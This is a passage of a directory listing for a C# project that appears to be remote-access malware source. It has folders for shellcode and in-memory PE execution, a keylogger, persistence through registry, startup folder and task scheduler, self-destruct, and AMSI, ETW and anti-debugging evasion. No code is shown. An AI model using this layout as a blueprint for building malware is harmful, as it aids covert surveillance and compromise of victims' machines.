MemoryExecution.csproj │ │ ├── NativeDll.cs │ │ ├── NativePE.cs │ │ ├── Properties/ │ │ │ └── AssemblyInfo.cs │ │ ├── ShellCode.cs │ │ └── obj/ │ │ ├── Debug/ │ │ │ ├── .NETFramework,Version=v4.5.AssemblyAttributes.cs │ │ │ ├── Costura/ │ │ │ │ ├── 093B1CECD25C84D83FA542739A470E5176C0ECC3.costura.packetlib.dll.compressed │ │ │ │ ├── 169D9715E5055B4695017FABC70BDC67BA96C3EB.costura.packetlib.dll.compressed │ │ │ │ ├── 1B6A595A5483B79FE77D5C94EA6629C8D6F9BC3F.costura.packetlib.dll.compressed │ │ │ │ ├── 214A03BEA1566B52C191D725EAC8DB68DE122BD5.costura.packetlib.dll.compressed │ │ │ │ ├── 2303F5C6C93C9247613149D8B6D0AD05EEAE6C51.costura.packetlib.dll.compressed │ │ │ │ ├── 24D04CCE98EDAD14DB53A24CF1E23BD07261ED24.costura.packetlib.dll.compressed │ │ │ │ ├── 2A9EED6AA4A02D3702F5948DD48893AC88628749.costura.packetlib.dll.compressed │ │ │ │ ├── 2D1F8E26FDD407E73DE1F32A4BDA1F650EB65465.costura.packetlib.dll.compressed │ │ │ │ ├── 416C3345FE25EC2ED1C5DDEF18057A83D72BD3CD.costura.packetlib.dll.compressed │ │ │ │ ├── 4BE517A006839CFA1DEC9930EAA5B319D92819D3.costura.packetlib.dll.compressed │ │ │ │ ├── 4BF28C9A81692BE014FF2DB1C6D8FEA44F0991EB.costura.packetlib.dll.compressed │ │ │ │ ├── 5252EBA4B6398A776C1EA9828EDB579170ACB663.costura.packetlib.dll.compressed │ │ │ │ ├── 5954E332EC7732BA34C27E2D88D154D1919C1B07.costura.costura.dll.compressed │ │ │ │ ├── 5D3F97ECFDC3EE21431DAF7C732805CE38DC780F.costura.packetlib.dll.compressed │ │ │ │ ├── 5FD46A212CD462EE7577AD3B8A7AB9F481D0CE7E.costura.packetlib.dll.compressed │ │ │ │ ├── 5FD5AD06C91006BEB0729DD8EA88B17860D6E9DA.costura.packetlib.dll.compressed │ │ │ │ ├── 61CCC5F58DF73C6D48A1A13B59C36D9986C7F761.costura.packetlib.dll.compressed │ │ │ │ ├── 659A17B2FBA1ECBB4E18DA56D2F707BD8FEFBB8B.costura.packetlib.dll.compressed │ │ │ │ ├── 6692AFDB128A2559F3843A04AD97838079B150DE.costura.packetlib.dll.compressed │ │ │ │ ├── 6CE4FB41D327CB76FA40B68828CE5A6459CF9248.costura.packetlib.dll.compressed │ │ │ │ ├── 72DCABA51E82CF694893ECFA26A73DAF0068BD5C.costura.packetlib.dll.compressed │ │ │ │ ├── 73BFBED37D0D2C234376DC312786EB72E6D2673D.costura.packetlib.dll.compressed │ │ │ │ ├── 7EBD6DF9C00B35FB7A99F38EE7E2BCC73CED833D.costura.packetlib.dll.compressed │ │ │ │ ├── 8152845FECAC7FFA594D9F405C7A2992D981D11C.costura.packetlib.dll.compressed │ │ │ │ ├── 8387A8F76010F0A3E3823261A8EF2B3B47D3DCA4.costura.packetlib.dll.compressed │ │ │ │ ├── 894362D086B3A52F3B4495D8A886E18058867328.costura.packetlib.dll.compressed │ │ │ │ ├── 89CA7B756CF6BCD416A9DE6FE172B44C30F5FA83.costura.packetlib.dll.compressed │ │ │ │ ├── 8E3F7BAEAF15B538498688737FA97DFC3E0E2DC1.costura.packetlib.dll.compressed │ │ │ │ ├── 934C594F60A8E49B57CC2E58AF72F19901E5E636.costura.packetlib.dll.compressed │ │ │ │ ├── 9F152845EE7DC9D046F01AA20A0677B833060859.costura.packetlib.dll.compressed │ │ │ │ ├── A075387C52A0ACA3687B27A9C83EC31B299A23F0.costura.packetlib.dll.compressed │ │ │ │ ├── A5E325D30DF28A8EB3305AFBD760DB72AA6B2A19.costura.packetlib.dll.compressed │ │ │ │ ├── A8161DF85C64179973A14391011607232CF35A08.costura.packetlib.dll.compressed │ │ │ │ ├── AE425AFFD1FD4DB21A47795FFE10C26A949EF6C5.costura.packetlib.dll.compressed │ │ │ │ ├── B3844B220EB90DAA22FF9E69DCBCEC0B514B625C.costura.packetlib.dll.compressed │ │ │ │ ├── B38554E9336EF9424FE94211318A6C4CE43968DE.costura.packetlib.dll.compressed │ │ │ │ ├── C1578452FEB313D903307662514B8C8F6977757F.costura.packetlib.dll.compressed │ │ │ │ ├── C6CF66B9D69806693131C83107A1CBE592FCCABF.costura.packetlib.dll.compressed │ │ │ │ ├── C7E730CA59E83FFE5879963E3885F946223C16DE.costura.packetlib.dll.compressed │ │ │ │ ├── CE850281D1031BF55BBACE95BC5C291FB730740A.costura.packetlib.dll.compressed │ │ │ │ ├── D09B8EA53F24997F1CF152E96C64AF885C2806D2.costura.packetlib.dll.compressed │ │ │ │ ├── DAD483B4FE50223B906F2FA8C7A7D20C88BE787C.costura.packetlib.dll.compressed │ │ │ │ ├── DCF03F184CFC24621503199BA48A3C5F93D1048B.costura.packetlib.dll.compressed │ │ │ │ ├── DF2EF5F848FC106B8C6A5641B29D1771A3B6BCCB.costura.packetlib.dll.compressed │ │ │ │ ├── E8108A0FEBB8E80CDE1C8DC3906561FEB070B0D0.costura.packetlib.dll.compressed │ │ │ │ ├── EBCA534817A7FEDE883B1BF2E33759759BDBA079.costura.packetlib.dll.compressed │ │ │ │ ├── F321010A475134CC91CBD87B736F3A25F8095BF9.costura.packetlib.dll.compressed │ │ │ │ ├── F9A276F9E964E77DBB18509EA3FE0D38BCB38AFF.costura.packetlib.dll.compressed │ │ │ │ ├── FAA207544D6166658F1ED74A439DDF6A2E2F477D.costura.packetlib.dll.compressed │ │ │ │ ├── FE316032188A3E3C83585CDD392EDA5212EB6805.costura.packetlib.dll.compressed │ │ │ │ └── FFEEF818C82EA672D54DDDAA51A8BE9FFCE1F951.costura.packetlib.dll.compressed │ │ │ ├── DesignTimeResolveAssemblyReferencesInput.cache │ │ │ ├── MemoryExecution.csproj.AssemblyReference.cache │ │ │ ├── MemoryExecution.csproj.CoreCompileInputs.cache │ │ │ ├── MemoryExecution.csproj.FileListAbsolute.txt │ │ │ ├── MemoryExecution.csproj.Fody.CopyLocal.cache │ │ │ └── build.force │ │ └── Release/ │ │ ├── .NETFramework,Version=v4.5.AssemblyAttributes.cs │ │ ├── Costura/ │ │ │ ├── 14C4061AE6CA4210159922AAA85DBC81B8776C07.costura.packetlib.dll.compressed │ │ │ ├── 16417969504A3A17E8DA082932E9D7838863656E.costura.packetlib.dll.compressed │ │ │ ├── 1CBA528F9EA3DAD590AA17E67C16725243C6CB9F.costura.packetlib.dll.compressed │ │ │ ├── 1D4342FF1EC701341CA2250FE7AFEE79015DEF6B.costura.packetlib.pdb.compressed │ │ │ ├── 1DDF3C8679D7B29DC3A95935CE32297FFF0914B6.costura.packetlib.dll.compressed │ │ │ ├── 2C9EBAAB8B8E453F38C52380AAC6D3AC1557EE1B.costura.packetlib.dll.compressed │ │ │ ├── 314BF5C5FB0358F9A50ECFEB202E5B6DF119D6B6.costura.packetlib.dll.compressed │ │ │ ├── 3305A94C05235138A144E56CD5AE59089EBD3840.costura.packetlib.dll.compressed │ │ │ ├── 3384D4C0C38654C111F32DF6EAB006FE475D9C20.costura.packetlib.dll.compressed │ │ │ ├── 35200804392DE6B6A9E4D54700D0EEA4C9653F8D.costura.packetlib.dll.compressed │ │ │ ├── 41C26C3C7B80F14AE827036DB0B5B085D8FE5B7F.costura.packetlib.dll.compressed │ │ │ ├── 47D7450F0B49D243DB0F325D22556CDAD50FAB75.costura.packetlib.dll.compressed │ │ │ ├── 4AD5E8A4DACAB7C8E86B9617E5E8F2D5417CFEBF.costura.packetlib.dll.compressed │ │ │ ├── 4CF2FAFB61BB8CD6C320EBB83D1E822B94EB83B4.costura.packetlib.dll.compressed │ │ │ ├── 4E7D18F1265B4CB6C4B61AEC5F3FAEE69E929807.costura.packetlib.dll.compressed │ │ │ ├── 4E8F293B978F66BF492A656700E0B29E2D17F248.costura.packetlib.dll.compressed │ │ │ ├── 54C2E595DA2DBA0446DC7F7CE8716C0DF5B0ACD5.costura.informationparser.dll.compressed │ │ │ ├── 5847E4193B3BFBDB884A32190B164DE781103BA0.costura.packetlib.dll.compressed │ │ │ ├── 5954E332EC7732BA34C27E2D88D154D1919C1B07.costura.costura.dll.compressed │ │ │ ├── 5BCB52D679AAC59A6FB1B2531CC61E3A957A647E.costura.packetlib.dll.compressed │ │ │ ├── 5E31D7757C6498F61407EFE3D3C45422912B93DA.costura.informationparser.pdb.compressed │ │ │ ├── 634ED8248658FB07B6B51C27324A50190CCBF7D4.costura.packetlib.dll.compressed │ │ │ ├── 63ABD2940F702C7C110DE20BF085F75B6FD06ED3.costura.packetlib.dll.compressed │ │ │ ├── 68040B9F931B940A89A0A53D3FCBE981F3ADB3F9.costura.packetlib.dll.compressed │ │ │ ├── 6CDAEB04809CD73781CF2650177066FD6905272B.costura.packetlib.dll.compressed │ │ │ ├── 6DC36E3C70F97D59CBEF86E790C4E5EA1AB5DBF2.costura.packetlib.pdb.compressed │ │ │ ├── 70903F9C1D8303F2727443CB36D37555E3AAFD02.costura.packetlib.dll.compressed │ │ │ ├── 71DC8C19FD4642091C70380F204F4632EC7727BD.costura.packetlib.dll.compressed │ │ │ ├── 755B7A00ED6A45E8DD0A8A88BF38B13A046E795B.costura.packetlib.dll.compressed │ │ │ ├── 75E3E6B11180434960C81C107C97DB89C76F544B.costura.packetlib.dll.compressed │ │ │ ├── 7ADAF347C05668866C88D97F33A8B5694EC9EE3F.costura.packetlib.dll.compressed │ │ │ ├── 7ADDFDF8A77D5D7E698B48A8F440A4201F9E9951.costura.packetlib.dll.compressed │ │ │ ├── 81E29DCA5CAB8A4E873638419525826E65465753.costura.packetlib.dll.compressed │ │ │ ├── 8896B0DFB6EB9D188DF147C0E7F4A1DF080500FE.costura.packetlib.dll.compressed │ │ │ ├── 975529C921427F3EAA82CA4E2304C00539B7535C.costura.packetlib.dll.compressed │ │ │ ├── 994CD3A7CE9FC4551D255B685F9E7E400886FAE6.costura.packetlib.dll.compressed │ │ │ ├── 9970470D8A0DB289839E76A59E796CB956F5577C.costura.packetlib.dll.compressed │ │ │ ├── 9B30F44C8DEFFDD6ECB3921C55761AFF64F58F16.costura.packetlib.dll.compressed │ │ │ ├── 9C440ED15A7EED86217802A3897AD3C18F14768B.costura.packetlib.dll.compressed │ │ │ ├── A0CA3E3941DB4ED03A4C602086B8A4C02B64BDED.costura.packetlib.dll.compressed │ │ │ ├── B53FB3389EC8F1D8A810DEFBDC207E2B9B5E45C4.costura.packetlib.dll.compressed │ │ │ ├── B8EFD272172F7F2AFDD629B038C63D103440215A.costura.packetlib.pdb.compressed │ │ │ ├── C13DAAAD2065B1B8CB2C7903E68DD997CF626B1C.costura.packetlib.dll.compressed │ │ │ ├── C36157EC85B304546635D059C6D4C2AEE58EB0F3.costura.packetlib.dll.compressed │ │ │ ├── C95085E69B954DD9B592168BDC7340DCB7A11947.costura.packetlib.dll.compressed │ │ │ ├── CE559977242C685083539822F8224713C6C20E2E.costura.packetlib.dll.compressed │ │ │ ├── D6288F7563FDDAB14535364ECC07DDBCE31924CF.costura.packetlib.dll.compressed │ │ │ ├── D742868B84C619BAE5061AE10B57971D31C82012.costura.packetlib.dll.compressed │ │ │ ├── D7458D601F48DB140D86047965F50E88D1FE0D88.costura.packetlib.dll.compressed │ │ │ ├── E56D1FBB42EB71690EF56410864EE11E20BDDFB2.costura.packetlib.dll.compressed │ │ │ ├── EA874E0790F5E251DDE65CFFA1C2EEAD5AD53604.costura.packetlib.dll.compressed │ │ │ ├── EE8387D278313586ED7B14FF0F2FC4CE829C0764.costura.packetlib.dll.compressed │ │ │ ├── EEA20B4ABC08CB6BB43873B36181587FB9599752.costura.packetlib.dll.compressed │ │ │ ├── EF77E06729EA1AA5C7DEF4429079F5B7EBBD9F19.costura.packetlib.dll.compressed │ │ │ ├── F154257EBE8F21A4312317DAED5C191BEFB17794.costura.packetlib.dll.compressed │ │ │ └── F67C792CFF6A0F2408BC025AD9C394DA2D12BEEA.costura.packetlib.dll.compressed │ │ ├── DesignTimeResolveAssemblyReferencesInput.cache │ │ ├── MemoryExecution.csproj.AssemblyReference.cache │ │ ├── MemoryExecution.csproj.CoreCompileInputs.cache │ │ ├── MemoryExecution.csproj.FileListAbsolute.txt │ │ ├── MemoryExecution.csproj.Fody.CopyLocal.cache │ │ └── _IsIncrementalBuild │ ├── Miscellaneous/ │ │ ├── Admin.cs │ │ ├── Audio.cs │ │ ├── FodyWeavers.xml │ │ ├── FodyWeavers.xsd │ │ ├── Imports.cs │ │ ├── Launch.cs │ │ ├── Link.cs │ │ ├── Miscellaneous.csproj │ │ ├── Properties/ │ │ │ └── AssemblyInfo.cs │ │ ├── ScreenRotation.cs │ │ ├── UI.cs │ │ └── obj/ │ │ ├── Debug/ │ │ │ ├── .NETFramework,Version=v4.5.AssemblyAttributes.cs │ │ │ ├── Costura/ │ │ │ │ ├── 214A03BEA1566B52C191D725EAC8DB68DE122BD5.costura.packetlib.dll.compressed │ │ │ │ ├── 2303F5C6C93C9247613149D8B6D0AD05EEAE6C51.costura.packetlib.dll.compressed │ │ │ │ ├── 24D04CCE98EDAD14DB53A24CF1E23BD07261ED24.costura.packetlib.dll.compressed │ │ │ │ ├── 2A9EED6AA4A02D3702F5948DD48893AC88628749.costura.packetlib.dll.compressed │ │ │ │ ├── 2D1F8E26FDD407E73DE1F32A4BDA1F650EB65465.costura.packetlib.dll.compressed │ │ │ │ ├── 416C3345FE25EC2ED1C5DDEF18057A83D72BD3CD.costura.packetlib.dll.compressed │ │ │ │ ├── 4BF28C9A81692BE014FF2DB1C6D8FEA44F0991EB.costura.packetlib.dll.compressed │ │ │ │ ├── 5252EBA4B6398A776C1EA9828EDB579170ACB663.costura.packetlib.dll.compressed │ │ │ │ ├── 5954E332EC7732BA34C27E2D88D154D1919C1B07.costura.costura.dll.compressed │ │ │ │ ├── 5D3F97ECFDC3EE21431DAF7C732805CE38DC780F.costura.packetlib.dll.compressed │ │ │ │ ├── 5FD5AD06C91006BEB0729DD8EA88B17860D6E9DA.costura.packetlib.dll.compressed │ │ │ │ ├── 61CCC5F58DF73C6D48A1A13B59C36D9986C7F761.costura.packetlib.dll.compressed │ │ │ │ ├── 659A17B2FBA1ECBB4E18DA56D2F707BD8FEFBB8B.costura.packetlib.dll.compressed │ │ │ │ ├── 6692AFDB128A2559F3843A04AD97838079B150DE.costura.packetlib.dll.compressed │ │ │ │ ├── 73BFBED37D0D2C234376DC312786EB72E6D2673D.costura.packetlib.dll.compressed │ │ │ │ ├── 8152845FECAC7FFA594D9F405C7A2992D981D11C.costura.packetlib.dll.compressed │ │ │ │ ├── 8387A8F76010F0A3E3823261A8EF2B3B47D3DCA4.costura.packetlib.dll.compressed │ │ │ │ ├── 8E3F7BAEAF15B538498688737FA97DFC3E0E2DC1.costura.packetlib.dll.compressed │ │ │ │ ├── 934C594F60A8E49B57CC2E58AF72F19901E5E636.costura.packetlib.dll.compressed │ │ │ │ ├── 9F152845EE7DC9D046F01AA20A0677B833060859.costura.packetlib.dll.compressed │ │ │ │ ├── A075387C52A0ACA3687B27A9C83EC31B299A23F0.costura.packetlib.dll.compressed │ │ │ │ ├── AE425AFFD1FD4DB21A47795FFE10C26A949EF6C5.costura.packetlib.dll.compressed │ │ │ │ ├── B2395B2237C4542204628AD04FC25E82748C9C1D.costura.packetlib.dll.compressed │ │ │ │ ├── B3844B220EB90DAA22FF9E69DCBCEC0B514B625C.costura.packetlib.dll.compressed │ │ │ │ ├── B38554E9336EF9424FE94211318A6C4CE43968DE.costura.packetlib.dll.compressed │ │ │ │ ├── C1578452FEB313D903307662514B8C8F6977757F.costura.packetlib.dll.compressed │ │ │ │ ├── C6CF66B9D69806693131C83107A1CBE592FCCABF.costura.packetlib.dll.compressed │ │ │ │ ├── C7E730CA59E83FFE5879963E3885F946223C16DE.costura.packetlib.dll.compressed │ │ │ │ ├── CE850281D1031BF55BBACE95BC5C291FB730740A.costura.packetlib.dll.compressed │ │ │ │ ├── D09B8EA53F24997F1CF152E96C64AF885C2806D2.costura.packetlib.dll.compressed │ │ │ │ ├── DAD483B4FE50223B906F2FA8C7A7D20C88BE787C.costura.packetlib.dll.compressed │ │ │ │ ├── DCF03F184CFC24621503199BA48A3C5F93D1048B.costura.packetlib.dll.compressed │ │ │ │ ├── DF2EF5F848FC106B8C6A5641B29D1771A3B6BCCB.costura.packetlib.dll.compressed │ │ │ │ ├── E8108A0FEBB8E80CDE1C8DC3906561FEB070B0D0.costura.packetlib.dll.compressed │ │ │ │ ├── EBCA534817A7FEDE883B1BF2E33759759BDBA079.costura.packetlib.dll.compressed │ │ │ │ ├── F321010A475134CC91CBD87B736F3A25F8095BF9.costura.packetlib.dll.compressed │ │ │ │ ├── F9A276F9E964E77DBB18509EA3FE0D38BCB38AFF.costura.packetlib.dll.compressed │ │ │ │ ├── FE316032188A3E3C83585CDD392EDA5212EB6805.costura.packetlib.dll.compressed │ │ │ │ └── FFEEF818C82EA672D54DDDAA51A8BE9FFCE1F951.costura.packetlib.dll.compressed │ │ │ ├── DesignTimeResolveAssemblyReferences.cache │ │ │ ├── DesignTimeResolveAssemblyReferencesInput.cache │ │ │ ├── Miscellaneous.csproj.AssemblyReference.cache │ │ │ ├── Miscellaneous.csproj.CopyComplete │ │ │ ├── Miscellaneous.csproj.CoreCompileInputs.cache │ │ │ ├── Miscellaneous.csproj.FileListAbsolute.txt │ │ │ ├── Miscellaneous.csproj.Fody.CopyLocal.cache │ │ │ ├── Random.csproj.AssemblyReference.cache │ │ │ ├── Random.csproj.CoreCompileInputs.cache │ │ │ ├── Random.csproj.FileListAbsolute.txt │ │ │ ├── Random.csproj.Fody.CopyLocal.cache │ │ │ └── build.force │ │ └── Release/ │ │ ├── .NETFramework,Version=v4.5.AssemblyAttributes.cs │ │ ├── Costura/ │ │ │ ├── 14C4061AE6CA4210159922AAA85DBC81B8776C07.costura.packetlib.dll.compressed │ │ │ ├── 16417969504A3A17E8DA082932E9D7838863656E.costura.packetlib.dll.compressed │ │ │ ├── 1CBA528F9EA3DAD590AA17E67C16725243C6CB9F.costura.packetlib.dll.compressed │ │ │ ├── 1D4342FF1EC701341CA2250FE7AFEE79015DEF6B.costura.packetlib.pdb.compressed │ │ │ ├── 1DDF3C8679D7B29DC3A95935CE32297FFF0914B6.costura.packetlib.dll.compressed │ │ │ ├── 2C9EBAAB8B8E453F38C52380AAC6D3AC1557EE1B.costura.packetlib.dll.compressed │ │ │ ├── 314BF5C5FB0358F9A50ECFEB202E5B6DF119D6B6.costura.packetlib.dll.compressed │ │ │ ├── 3305A94C05235138A144E56CD5AE59089EBD3840.costura.packetlib.dll.compressed │ │ │ ├── 3384D4C0C38654C111F32DF6EAB006FE475D9C20.costura.packetlib.dll.compressed │ │ │ ├── 35200804392DE6B6A9E4D54700D0EEA4C9653F8D.costura.packetlib.dll.compressed │ │ │ ├── 41C26C3C7B80F14AE827036DB0B5B085D8FE5B7F.costura.packetlib.dll.compressed │ │ │ ├── 47D7450F0B49D243DB0F325D22556CDAD50FAB75.costura.packetlib.dll.compressed │ │ │ ├── 4AD5E8A4DACAB7C8E86B9617E5E8F2D5417CFEBF.costura.packetlib.dll.compressed │ │ │ ├── 4CF2FAFB61BB8CD6C320EBB83D1E822B94EB83B4.costura.packetlib.dll.compressed │ │ │ ├── 4E7D18F1265B4CB6C4B61AEC5F3FAEE69E929807.costura.packetlib.dll.compressed │ │ │ ├── 4E8F293B978F66BF492A656700E0B29E2D17F248.costura.packetlib.dll.compressed │ │ │ ├── 54C2E595DA2DBA0446DC7F7CE8716C0DF5B0ACD5.costura.informationparser.dll.compressed │ │ │ ├── 5847E4193B3BFBDB884A32190B164DE781103BA0.costura.packetlib.dll.compressed │ │ │ ├── 5954E332EC7732BA34C27E2D88D154D1919C1B07.costura.costura.dll.compressed │ │ │ ├── 5BCB52D679AAC59A6FB1B2531CC61E3A957A647E.costura.packetlib.dll.compressed │ │ │ ├── 5E31D7757C6498F61407EFE3D3C45422912B93DA.costura.informationparser.pdb.compressed │ │ │ ├── 61B9E4CD96BDBEDF17DE5D7DF0CA377DCF06EFF3.costura.packetlib.dll.compressed │ │ │ ├── 634ED8248658FB07B6B51C27324A50190CCBF7D4.costura.packetlib.dll.compressed │ │ │ ├── 63ABD2940F702C7C110DE20BF085F75B6FD06ED3.costura.packetlib.dll.compressed │ │ │ ├── 68040B9F931B940A89A0A53D3FCBE981F3ADB3F9.costura.packetlib.dll.compressed │ │ │ ├── 6CDAEB04809CD73781CF2650177066FD6905272B.costura.packetlib.dll.compressed │ │ │ ├── 6DC36E3C70F97D59CBEF86E790C4E5EA1AB5DBF2.costura.packetlib.pdb.compressed │ │ │ ├── 70903F9C1D8303F2727443CB36D37555E3AAFD02.costura.packetlib.dll.compressed │ │ │ ├── 71DC8C19FD4642091C70380F204F4632EC7727BD.costura.packetlib.dll.compressed │ │ │ ├── 755B7A00ED6A45E8DD0A8A88BF38B13A046E795B.costura.packetlib.dll.compressed │ │ │ ├── 75E3E6B11180434960C81C107C97DB89C76F544B.costura.packetlib.dll.compressed │ │ │ ├── 7ADAF347C05668866C88D97F33A8B5694EC9EE3F.costura.packetlib.dll.compressed │ │ │ ├── 7ADDFDF8A77D5D7E698B48A8F440A4201F9E9951.costura.packetlib.dll.compressed │ │ │ ├── 81E29DCA5CAB8A4E873638419525826E65465753.costura.packetlib.dll.compressed │ │ │ ├── 8896B0DFB6EB9D188DF147C0E7F4A1DF080500FE.costura.packetlib.dll.compressed │ │ │ ├── 975529C921427F3EAA82CA4E2304C00539B7535C.costura.packetlib.dll.compressed │ │ │ ├── 994CD3A7CE9FC4551D255B685F9E7E400886FAE6.costura.packetlib.dll.compressed │ │ │ ├── 9970470D8A0DB289839E76A59E796CB956F5577C.costura.packetlib.dll.compressed │ │ │ ├── 9B30F44C8DEFFDD6ECB3921C55761AFF64F58F16.costura.packetlib.dll.compressed │ │ │ ├── 9C440ED15A7EED86217802A3897AD3C18F14768B.costura.packetlib.dll.compressed │ │ │ ├── A0CA3E3941DB4ED03A4C602086B8A4C02B64BDED.costura.packetlib.dll.compressed │ │ │ ├── B53FB3389EC8F1D8A810DEFBDC207E2B9B5E45C4.costura.packetlib.dll.compressed │ │ │ ├── B8EFD272172F7F2AFDD629B038C63D103440215A.costura.packetlib.pdb.compressed │ │ │ ├── C13DAAAD2065B1B8CB2C7903E68DD997CF626B1C.costura.packetlib.dll.compressed │ │ │ ├── C36157EC85B304546635D059C6D4C2AEE58EB0F3.costura.packetlib.dll.compressed │ │ │ ├── C95085E69B954DD9B592168BDC7340DCB7A11947.costura.packetlib.dll.compressed │ │ │ ├── CE559977242C685083539822F8224713C6C20E2E.costura.packetlib.dll.compressed │ │ │ ├── D6288F7563FDDAB14535364ECC07DDBCE31924CF.costura.packetlib.dll.compressed │ │ │ ├── D742868B84C619BAE5061AE10B57971D31C82012.costura.packetlib.dll.compressed │ │ │ ├── D7458D601F48DB140D86047965F50E88D1FE0D88.costura.packetlib.dll.compressed │ │ │ ├── E56D1FBB42EB71690EF56410864EE11E20BDDFB2.costura.packetlib.dll.compressed │ │ │ ├── EA874E0790F5E251DDE65CFFA1C2EEAD5AD53604.costura.packetlib.dll.compressed │ │ │ ├── EE8387D278313586ED7B14FF0F2FC4CE829C0764.costura.packetlib.dll.compressed │ │ │ ├── EEA20B4ABC08CB6BB43873B36181587FB9599752.costura.packetlib.dll.compressed │ │ │ ├── EF77E06729EA1AA5C7DEF4429079F5B7EBBD9F19.costura.packetlib.dll.compressed │ │ │ ├── F154257EBE8F21A4312317DAED5C191BEFB17794.costura.packetlib.dll.compressed │ │ │ └── F67C792CFF6A0F2408BC025AD9C394DA2D12BEEA.costura.packetlib.dll.compressed │ │ ├── DesignTimeResolveAssemblyReferences.cache │ │ ├── DesignTimeResolveAssemblyReferencesInput.cache │ │ ├── Miscellaneous.csproj.AssemblyReference.cache │ │ ├── Miscellaneous.csproj.CoreCompileInputs.cache │ │ ├── Miscellaneous.csproj.FileListAbsolute.txt │ │ ├── Miscellaneous.csproj.Fody.CopyLocal.cache │ │ └── _IsIncrementalBuild │ ├── Offline/ │ │ ├── Keylogger/ │ │ │ ├── ClientHandler.cs │ │ │ ├── Hook.cs │ │ │ ├── Imports.cs │ │ │ └── Launch.cs │ │ ├── Offline.csproj │ │ ├── Persistence/ │ │ │ ├── Imports.cs │ │ │ ├── Launch.cs │ │ │ ├── Method.cs │ │ │ ├── Registry.cs │ │ │ ├── SelfDestruct.cs │ │ │ ├── StartupFolder.cs │ │ │ └── TaskScheduler.cs │ │ ├── Properties/ │ │ │ └── AssemblyInfo.cs │ │ ├── Special/ │ │ │ ├── AMSI.cs │ │ │ ├── AntiDBG.cs │ │ │ ├── COM.cs │ │ │ ├── Commons/ │ │ │ │ ├── Delegates.cs │ │ │ │ ├── Enums.cs │ │ │ │ ├── Functions.cs │ │ │ │ ├── Interfaces.cs │ │ │ │ └── Structures.cs │ │ │ ├── DelegatesHandling.cs │ │ │ ├── ETW.cs │ │ │ ├── PEB.cs │ │ │ ├── PEFromPEB.cs │ │ │ ├── Parser.cs │ │ │ └── Resolver.cs │ │ └── obj/ │ │ └── Release/ │ │ ├── .NETFramework,Version=v4.5.AssemblyAttributes.cs │ │ ├── DesignTimeResolveAssemblyReferences.cache │ │ ├── DesignTimeResolveAssemblyReferencesInput.cache │ │ ├── Offline.csproj.AssemblyReference.cache │ │ ├── Offline.csproj.CoreCompileInputs.cache │ │ ├── Offline.csproj.FileListAbsolute.txt │ │ ├── Offline.csproj.ResolveComReference.cache │ │ └── _IsIncrementalBuild │ ├── PowerManager/ │ │ ├── FodyWeavers.xml │ │ ├── FodyWeavers.xsd │ │ ├── Imports.cs │ │ ├── Launch.cs │ │ ├── PowerManager.cs │ │ ├── PowerManager.csproj │ │ ├── Properties/ │ │ │ └── AssemblyInfo.cs │ │ └── obj/ │ │ ├── Debug/ │ │ │ ├── .NETFramework,Version=v4.5.AssemblyAttributes.cs │ │ │ ├── Costura/ │ │ │ │ ├── 214A03BEA1566B52C191D725EAC8DB68DE122BD5.costura.packetlib.dll.compressed │ │ │ │ ├── 2303F5C6C93C9247613149D8B6D0AD05EEAE6C51.costura.packetlib.dll.compressed │ │ │ │ ├── 24D04CCE98EDAD14DB53A24CF1E23BD07261ED24.costura.packetlib.dll.compressed │ │ │ │ ├── 2A9EED6AA4A02D3702F5948DD48893AC88628749.costura.packetlib.dll.compressed │ │ │ │ ├── 2D1F8E26FDD407E73DE1F32A4BDA1F650EB65465.costura.packetlib.dll.compressed │ │ │ │ ├── 416C3345FE25EC2ED1C5DDEF18057A83D72BD3CD.costura.packetlib.dll.compressed │ │ │ │ ├── 4BF28C9A81692BE014FF2DB1C6D8FEA44F0991EB.costura.packetlib.dll.compressed │ │ │ │ ├── 5252EBA4B6398A776C1EA9828EDB579170ACB663.costura.packetlib.dll.compressed │ │ │ │ ├── 5954E332EC7732BA34C27E2D88D154D1919C1B07.costura.costura.dll.compressed │ │ │ │ ├── 5D3F97ECFDC3EE21431DAF7C732805CE38DC780F.costura.packetlib.dll.compressed │ │ │ │ ├── 5FD46A212CD462EE7577AD3B8A7AB9F481D0CE7E.costura.packetlib.dll.compressed │ │ │ │ ├── 5FD5AD06C91006BEB0729DD8EA88B17860D6E9DA.costura.packetlib.dll.compressed │ │ │ │ ├── 61CCC5F58DF73C6D48A1A13B59C36D9986C7F761.costura.packetlib.dll.compressed │ │ │ │ ├── 659A17B2FBA1ECBB4E18DA56D2F707BD8FEFBB8B.costura.packetlib.dll.compressed │ │ │ │ ├── 6692AFDB128A2559F3843A04AD97838079B150DE.costura.packetlib.dll.compressed │ │ │ │ ├── 73BFBED37D0D2C234376DC312786EB72E6D2673D.costura.packetlib.dll.compressed │ │ │ │ ├── 8152845FECAC7FFA594D9F405C7A2992D981D11C.costura.packetlib.dll.compressed │ │ │ │ ├── 8387A8F76010F0A3E3823261A8EF2B3B47D3DCA4.costura.packetlib.dll.compressed │ │ │ │ ├── 8E3F7BAEAF15B538498688737FA97DFC3E0E2DC1.costura.packetlib.dll.compressed │ │ │ │ ├── 934C594F60A8E49B57CC2E58AF72F19901E5E636.costura.packetlib.dll.compressed │ │ │ │ ├── 9F152845EE7DC9D046F01AA20A0677B833060859.costura.packetlib.dll.compressed │ │ │ │ ├── A075387C52A0ACA3687B27A9C83EC31B299A23F0.costura.packetlib.dll.compressed │ │ │ │ ├── AE425AFFD1FD4DB21A47795FFE10C26A949EF6C5.costura.packetlib.dll.compressed │ │ │ │ ├── B3844B220EB90DAA22FF9E69DCBCEC0B514B625C.costura.packetlib.dll.compressed │ │ │ │ ├── B38554E9336EF9424FE94211318A6C4CE43968DE.costura.packetlib.dll.compressed │ │ │ │ ├── C1578452FEB313D903307662514B8C8F6977757F.costura.packetlib.dll.compressed │ │ │ │ ├── C6CF66B9D69806693131C83107A1CBE592FCCABF.costura.packetlib.dll.compressed │ │ │ │ ├── C7E730CA59E83FFE5879963E3885F946223C16DE.costura.packetlib.dll.compressed │ │ │ │ ├── CE850281D1031BF55BBACE95BC5C291FB730740A.costura.packetlib.dll.compressed │ │ │ │ ├── D09B8EA53F24997F1CF152E96C64AF885C2806D2.costura.packetlib.dll.compressed │ │ │ │ ├── DAD483B4FE50223B906F2FA8C7A7D20C88BE787C.costura.packetlib.dll.compressed │ │ │ │ ├── DCF03F184CFC24621503199BA48A3C5F93D1048B.costura.packetlib.dll.compressed │ │ │ │ ├── DF2EF5F848FC106B8C6A5641B29D1771A3B6BCCB.costura.packetlib.dll.compressed │ │ │ │ ├── E8108A0FEBB8E80CDE1C8DC3906561FEB070B0D0.costura.packetlib.dll.compressed 